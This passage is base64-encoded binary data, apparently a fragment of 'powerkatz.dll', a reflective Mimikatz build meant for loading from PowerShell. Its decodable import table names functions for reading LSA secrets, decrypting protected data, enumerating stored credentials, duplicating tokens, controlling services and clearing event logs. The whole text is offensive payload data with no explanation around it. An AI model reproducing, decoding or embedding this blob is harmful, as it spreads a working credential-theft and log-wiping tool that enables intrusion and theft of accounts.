ABFQgAFXQIABVkBwAVNAYAFTIR4AEcDAAcZAwAHFQLABw0CgAcMhjwFuAU0BLAEHABGQgAGWQIABlUBwAZNAYAGTIVcAEiCgAidAsAImQKACJUCQAiNAgAIlIe4AEKBAAKNAwACpIGcAEQBgAQZAkAEDQIABBSDHABFAYAFDQRABSyDXAMYAtQAR0GAB00EwAdshZwFWAUUAEMBAAMNAsADHIIcAEGAgAGcgIwAQoEAAo0CQAKUgZwASAMACBkDwAgVA4AIDQMACBSHPAa4BjQFsAUcAEcBQAcYhjgFnAVUBQwAAABHAoAHGQYABw0FwAc8hLgENAOwAxwC1ABHgsAHmQmAB40JAAeAR4AEvAQ4A7ADHALUAAAARUIABV0CQAVZAcAFVQGABUyEeABCAIACJIEMAEmDQAmdEMAJmRCACY0QQAmAToAGPAW4BTQEsAQUAAAAQYCAAYyAjABDAQADDQMAAySCHABHgsAHmQZAB40GAAeARIAEvAQ4A7ADHALUAAAARsJABt0GAAbZBcAGzQWABsBFAAQUAAAARkKABlkEgAZNBEAGZIS8BDgDsAMcAtQARwLABzkHwAcdB4AHGQdABw0HAAcARoAFfAAAAEfCgAfNBgAH/IV8BPgEdAPwA1wDGALUAESBgASdBIAEjQRABLSC1ABIgoAIgEZABbwFOAS0BDADnANYAwwC1ABGQoAGXQLABlkCgAZVAkAGTQIABlSFeABEQYAETQNABFyDXAMYAtQARkKABl0EQAZZBAAGVQPABk0DgAZshXgARUIABV0CgAVZAkAFTQIABVSEeABHQwAHXQPAB1kDgAdVA0AHTQMAB1yGfAX4BXAARwMABxkEAAcVA8AHDQOABxyGPAW4BTQEsAQcAEjDQAjdCEAI2QgACM0HwAjARgAGPAW4BTQEsAQUAAAAQQBAARCAAABGAoAGGQRABhUEAAYNA4AGJIU8BLgEHAJHwkAH2QeAB8BGAAY8BbgFNASwBBwAACMbgIAAQAAAKerAAAjrgAAYCQEACOuAAABBgIABnICUAkMBAAMNA4ADLIIcIxuAgABAAAAqa4AAFivAABgJAQAWK8AAAkXBgAXNBIAF9IT8BFwEGCMbgIAAQAAAM+vAABusQAAYCQEAG6xAAABIw0AI8QdACN0HAAjZBsAIzQaACMBFgAY8BbgFFAAAAEWBAAWUhJwEWAQMAEXCAAXdA8AF2QOABc0DQAXkhBQARQIABRkCQAUVAcAFDQGABQyEHABBwIABwFJAAEEAQAEYgAAAQYCAAaSAjABIAwAIGQNACBUCwAgNAoAIDIc8BrgGNAWwBRwARgIABhkDgAYVA0AGDQMABiSFHABFAgAFGQJABRUCAAUNAcAFDIQcAEZCgAZNA8AGTIV8BPgEdAPwA1wDGALUAEWCgAWNA4AFlIS8BDgDtAMwApwCWAIUAETBgATNBQAE/IJ4AdgBlABHAsAHDQaABwBEgAQ8A7gDNAKwAhwB2AGUAAAASEKACEBGQAV8BPgEdAPwA1wDGALMApQARwLABw0IAAcARgAEPAO4AzQCsAIcAdgBlAAAAEoCwAoNCEAKAEWAB3wG+AZ0BfAFXAUYBNQAAABFAgAFGQOABRUDQAUNAwAFJIQcAEUCAAUZAsAFFQKABQ0CQAUUhBwARIIABJUEAASNA8AEpIO4AxwC2ABFQgAFXQIABVkBwAVNAYAFTIR8AEYCgAYZA8AGFQOABg0DQAYchTwEuAQcAEYCgAYZAwAGFQLABg0CgAYUhTwEuAQcAEOAgAOMgowAQwGAAw0EAAMsghwB2AGUAEcCwAcNB4AHAEWABDwDuAM0ArACHAHYAZQAAABDwYAD2QMAA80CwAPcgtwAQ8GAA80EAAPsghwB2AGUAEPBgAPNBIAD9IIcAdgBlABBAEABIIAAAEsDQAsxFVALHRUQCxkU0AsNFJALAFOQBjwFuAUUAAAAQsGAAtSB+AFcARgA1ACMAENBAANNBAADdIGUAEUBwAUNCoAFAEmAAhwB2AGUAAAARMIABM0FAAT0gzwCuAIcAdgBlABIQoAIQEpABXwE+AR0A/ADXAMYAswClABJg0AJnROACZkTQAmNEwAJgFGABjwFuAU0BLAEFAAAAEaCQAaZBkAGjQYABoBFAAO4AxwC1AAAAEhCgAhNBMAIZIa8BjgFtAUwBJwEWAQUAEMBAAMNAgADFIIcAEeCgAeNBAAHnIa8BjgFtAUwBJwEWAQUAEgCgAgNA4AIFIZ8BfgFdATwBFwEGAPUAEiCgAiASUAFvAU4BLQEMAOcA1gDDALUAETCAATNAwAE1IM4ArACHAHYAZQARIIABJyC/AJ4AfQBXAEYAMwAlABHAoAHDQWABzSFfAT4BHQD8ANcAxgC1ABEwgAEzQPABNSDOAKwAhwB2AGUAEWBgAWZAsAFjQKABZSEnABDgQADjQHAA4yCnABFggAFjQWABbyDPAK4AhwB2AGUAESBgASdAkAEjQIABJSC1ABFwgAF3QKABdkCQAXNAgAF1IQUAEPBgAPNAwAD3IIcAdgBlABGQoAGWQTABk0EgAZshLwEOAOwAxwC1ABIAsAIDQdACABFAAU8BLgENAOwAxwC2AKUAAAARUIABVkDQAVNAsAFVIO4AxwC1ABFwgAF3QRABdkDwAXNA4AF7IQUAEQBgAQZAsAEDQKABByDHABIgwAIsQXACJ0FgAiZBUAIjQUACLyGPAW4BRQARgJABg0HAAYARYADPAKwAhwB2AGUAAAARsJABt0HgAbZB0AGzQcABsBGgAQUAAAARcJABdkFwAXVBUAFzQUABcBEgAQcAAAARQHABQ0HAAUARgACHAHYAZQAAABGgoAGmQRABo0EAAakhPwEeAPwA1wDFABGQoAGWQTABk0EgAZshLwENAOwAxwC1ABGwoAG3QUABtkEwAbNBIAG9IU8BLgEFABGwsAG2QaABtUGQAbNBgAGwEUABTwEuAQcAAAARUIABVkDwAVNA4AFZIO4AxwC1ABHgsAHmQdAB40HAAeARYAEvAQ4A7ADHALUAAAASMLACPEIAAjdB8AIzQeACMBGgAY8BbgFFAAAAEaCQAaZBcAGjQWABoBEgAO4AxwC1AAAAEpCwApNCYAKQEeAB7wHOAa0BjAFnAVYBRQAAABHwsAH3QeAB9kHQAfNBwAHwEYABTgEsAQUAAAAScNACd0LgAnZC0AJzQsACcBJgAc8BrgGNAWwBRQAAABJAkAJHQhACRkIAAkNB4AJAEcABlQAAABGAgAGGQVABg0FAAY8g7gDHALUAEfCwAfNGgAHwFgABDwDuAM0ArACHAHYAZQAAABDwYAD2QNAA80DAAPkgtwAR8MAB90FwAfZBYAHzQVAB/SGPAW4BTQEsAQUAEaCQAaZCkAGjQoABoBJAAO4AxwC1AAAAEcDAAcZBIAHFQRABw0EAAckhjwFuAU0BLAEHABHwsAH3QgAB9kHwAfNB4AHwEaABTwEuAQUAAAARIGABI0FAAS8ghwB2AGUAEMBAAMNBAADNIIcAkXCQAXdEkAF2RIABcBRAAQ8A7gDMAAAIxuAgABAAAAxKwBAA+uAQ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AAAAAA+lIHAAAAAAAAAAAAAAAAALZUBwAAAAAAmlQHAAAAAACEVAcAAAAAAGpUBwAAAAAAVlQHAAAAAADWVAcAAAAAAPhUBwAAAAAAAAAAAAAAAAA8VQcAAAAAAFJVBwAAAAAAAAAAAAAAAAB6UQcAAAAAAGJRBwAAAAAAUFEHAAAAAAAuUQcAAAAAAERRBwAAAAAAOFEHAAAAAAAAAAAAAAAAAGxWBwAAAAAAgFYHAAAAAACgVgcAAAAAALhWBwAAAAAA1FYHAAAAAADsVgcAAAAAAARXBwAAAAAAFFcHAAAAAAAwVwcAAAAAAExXBwAAAAAAYFcHAAAAAAB2VwcAAAAAAIpXBwAAAAAAnlcHAAAAAAC4VwcAAAAAANpXBwAAAAAA9FcHAAAAAAAUWAcAAAAAACZYBwAAAAAAPFgHAAAAAABSWAcAAAAAAGZYBwAAAAAAAAAAAAAAAADLAENyeXB0UmVsZWFzZUNvbnRleHQAwABDcnlwdEdlbktleQDGAENyeXB0R2V0UHJvdlBhcmFtAMQAQ3J5cHRHZXRIYXNoUGFyYW0AygBDcnlwdEltcG9ydEtleQAAzQBDcnlwdFNldEtleVBhcmFtAAC2AENyeXB0RGVzdHJveUhhc2gAAMwAQ3J5cHRTZXRIYXNoUGFyYW0AyABDcnlwdEhhc2hEYXRhALMAQ3J5cHRDcmVhdGVIYXNoAL8AQ3J5cHRFeHBvcnRLZXkAALQAQ3J5cHREZWNyeXB0AADUAlN5c3RlbUZ1bmN0aW9uMDA3ALkAQ3J5cHREdXBsaWNhdGVLZXkAugBDcnlwdEVuY3J5cHQAALEAQ3J5cHRBY3F1aXJlQ29udGV4dFcAAMUAQ3J5cHRHZXRLZXlQYXJhbQAAsABDcnlwdEFjcXVpcmVDb250ZXh0QQAAtwBDcnlwdERlc3Ryb3lLZXkANgFHZXRMZW5ndGhTaWQAAHYAQ29weVNpZACdAUxzYUNsb3NlAAC9AUxzYU9wZW5Qb2xpY3kAxQFMc2FRdWVyeUluZm9ybWF0aW9uUG9saWN5AIMAQ3JlYXRlV2VsbEtub3duU2lkAAB8AENyZWF0ZVByb2Nlc3NBc1VzZXJXAAB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAG4CUmVnUXVlcnlWYWx1ZUV4VwAAUgJSZWdFbnVtVmFsdWVXAGECUmVnT3BlbktleUV4VwB+AlJlZ1NldFZhbHVlRXhXAABPAlJlZ0VudW1LZXlFeFcAaAJSZWdRdWVyeUluZm9LZXlXAAAwAlJlZ0Nsb3NlS2V5AO0CU3lzdGVtRnVuY3Rpb24wMzIAKQJRdWVyeVNlcnZpY2VTdGF0dXNFeAAA+wFPcGVuU2VydmljZVcAAMkCU3RhcnRTZXJ2aWNlVwBcAENvbnRyb2xTZXJ2aWNlAADaAERlbGV0ZVNlcnZpY2UA+QFPcGVuU0NNYW5hZ2VyVwAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAAGwAQ29udmVydFNpZFRvU3RyaW5nU2lkVwAAwQBDcnlwdEdlblJhbmRvbQAAgAFJc1RleHRVbmljb2RlAFoBR2V0VG9rZW5JbmZvcm1hdGlvbgCRAUxvb2t1cEFjY291bnRTaWRXAPcBT3BlblByb2Nlc3NUb2tlbgAAdABDb252ZXJ0U3RyaW5nU2lkVG9TaWRXAADTAlN5c3RlbUZ1bmN0aW9uMDA2AL4AQ3J5cHRFbnVtUHJvdmlkZXJzVwDHAENyeXB0R2V0VXNlcktleQD2AU9wZW5FdmVudExvZ1cAUwBDbGVhckV2ZW50TG9nVwAAQwFHZXROdW1iZXJPZkV2ZW50TG9nUmVjb3JkcwAAJwJRdWVyeVNlcnZpY2VPYmplY3RTZWN1cml0eQAAQwBCdWlsZFNlY3VyaXR5RGVzY3JpcHRvclcAACABRnJlZVNpZAC/AlNldFNlcnZpY2VPYmplY3RTZWN1cml0eQAAIABBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAAIEAQ3JlYXRlU2VydmljZVcAAOYCU3lzdGVtRnVuY3Rpb24wMjUAzAFMc2FSZXRyaWV2ZVByaXZhdGVEYXRhAADJAUxzYVF1ZXJ5VHJ1c3RlZERvbWFpbkluZm9CeU5hbWUA0gJTeXN0ZW1GdW5jdGlvbjAwNQBXAUdldFNpZFN1YkF1dGhvcml0eQAAWAFHZXRTaWRTdWJBdXRob3JpdHlDb3VudACqAUxzYUVudW1lcmF0ZVRydXN0ZWREb21haW5zRXgAAKsBTHNhRnJlZU1lbW9yeQD8AU9wZW5UaHJlYWRUb2tlbgDfAER1cGxpY2F0ZVRva2VuRXgAAFEAQ2hlY2tUb2tlbk1lbWJlcnNoaXAAAMECU2V0VGhyZWFkVG9rZW4AAIwAQ3JlZEZyZWUAAIkAQ3JlZEVudW1lcmF0ZVcAAEFEVkFQSTMyLmRsbAAA1gBDcnlwdFVucHJvdGVjdERhdGEAAHsAQ3J5cHRCaW5hcnlUb1N0cmluZ1cAALoAQ3J5cHRQcm90ZWN0RGF0YQAAeQBDcnlwdEFjcXVpcmVDZXJ0aWZpY2F0ZVByaXZhdGVLZXkACABDZXJ0QWRkRW5jb2R